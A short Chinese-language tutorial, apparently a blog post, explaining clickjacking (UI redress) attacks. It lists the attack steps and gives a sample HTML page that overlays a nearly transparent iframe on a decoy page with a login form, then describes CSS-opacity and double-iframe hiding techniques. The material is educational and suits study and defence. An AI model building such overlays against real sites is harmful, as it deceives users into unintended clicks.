点击劫持clickjack
点击劫持 (Clickjacking) 技术又称为界面伪装攻击 (UI redress attack ),是一种视觉上的欺骗手段。攻击者使用一个或多个透明的 iframe 覆盖在一个正常的网页上,然后诱使用户在该网页上进行操作,当用户在不知情的情况下点击透明的 iframe 页面时,用户的操作已经被劫持到攻击者事先设计好的恶意按钮或链接上。攻击者既可以通过点击劫持设计一个独立的恶意网站,执行钓鱼攻击等;也可以与 XSS 和 CSRF 攻击相结合,突破传统的防御措施,提升漏洞的危害程度。
攻击者实施攻击的一般步骤:
①黑客创建一个网页利用iframe包含目标网站;
②隐藏目标网站,使用户无法察觉到目标网站存在;
③构造网页,诱骗用户点击特定按钮 (图1中的PLAY!按钮);
④用户在不知情的情况下点击按钮,触发执行恶意网页的命令。
<html>
<head>
<title>
clickJack
</title>
<!--CSS-->
<style>
iframe {
width:500px;
height:500px;
position:absolute;
top:0; left:0;
filter:alpha(opacity=0);
opacity:0.1;
}
</style>
</head>
<body>
<h1>This is H1</h1>
<br>
<h2>This is H2</h2>
<br>
<div>
<form>
UserName:<br>
<input type="text" name="username">
<br>
PassWord:<br>
<input type="text" name="password">
</form>
</div>
<div>
<dl>
<dt>Coffee</dt>
<dd>Black hot drink</dd>
<dt>Milk</dt>
<dd>White cold drink</dd>
</dl>
</div>
<div>
<h3>This is H3</h3>
<br>
<h4>This is H4</h4>
<br>
</div>
<p>iframe clickjack</p>
<iframe src="https://blog.csdn.net/Waffle666"></iframe>
</body>
</html>
目前主要的网页隐藏技术有两种
CSS隐藏技术和双iframe隐藏技术。
CSS 隐藏技术的原理是利用 CSS 技术控制网页内容显示的效果。其中opacity参数表示元素的透明度,取值范围为0~1,默认值为1表示不透明, 取值为0时元素在网页中完全透明显示。当设置目标 iframe 的opacity 属性小于或等于0.1,用户就无法看到含恶意代码的目标网页。
双iframe隐藏技术使用内联框架和外联框架。内联框架的主要功能是载入目标网页,并将目标网页定位到特定按钮或者链接。外联框架的主要功能是筛选,只显示内联框架中特定的按钮。